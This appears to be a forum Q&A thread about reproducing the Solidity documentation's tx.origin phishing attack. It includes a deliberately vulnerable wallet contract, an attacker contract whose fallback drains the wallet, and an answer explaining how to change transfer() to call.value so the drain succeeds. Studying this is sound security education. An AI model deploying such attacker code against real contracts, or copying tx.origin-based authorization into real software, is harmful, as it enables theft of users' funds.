1

I was reading the solidity docs and decided to replicate tx.origin attack . I copied the contract from the documentation but I end up with error when using the function "transferTo". Check the remix screenshot below for the error details.

Find my contract below.

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    function TxUserWallet() payable public  {
        owner = msg.sender;
    }

    function transferTo(address dest, uint256 amount) payable public {

        require(tx.origin == owner);
        dest.transfer(amount);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }
}


interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() payable public  {
        owner = msg.sender;
    }

    function() payable public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }


}

enter image description here

2

It is bad idea to rely on tx.origin to determine if transaction was originated by a trusted party or not. This is that chapter of Solidity doc tells you about. The vulnerable piece of code is require(tx.origin == owner);.

Now, to actually exploit that tx.origin flaw, a reentrancy attack is attempted, but fails because nowadays dest.transfer(amount); does only sends 2300 gas to the fallback function of dest contract.

To observe abuse of tx.origin-based security control (disregarding new behavior of transfer() which breaks reentrancy trick) you can change dest.transfer(amount); to dest.call.value(amount)(). Like here https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14.

And, from the screenshot it is not clear if you correctly trigger the attack. You have to call TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1) from TxUserWallet's owner account. This will send all funds from TxUserWallet to the owner of TxAttackWallet.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.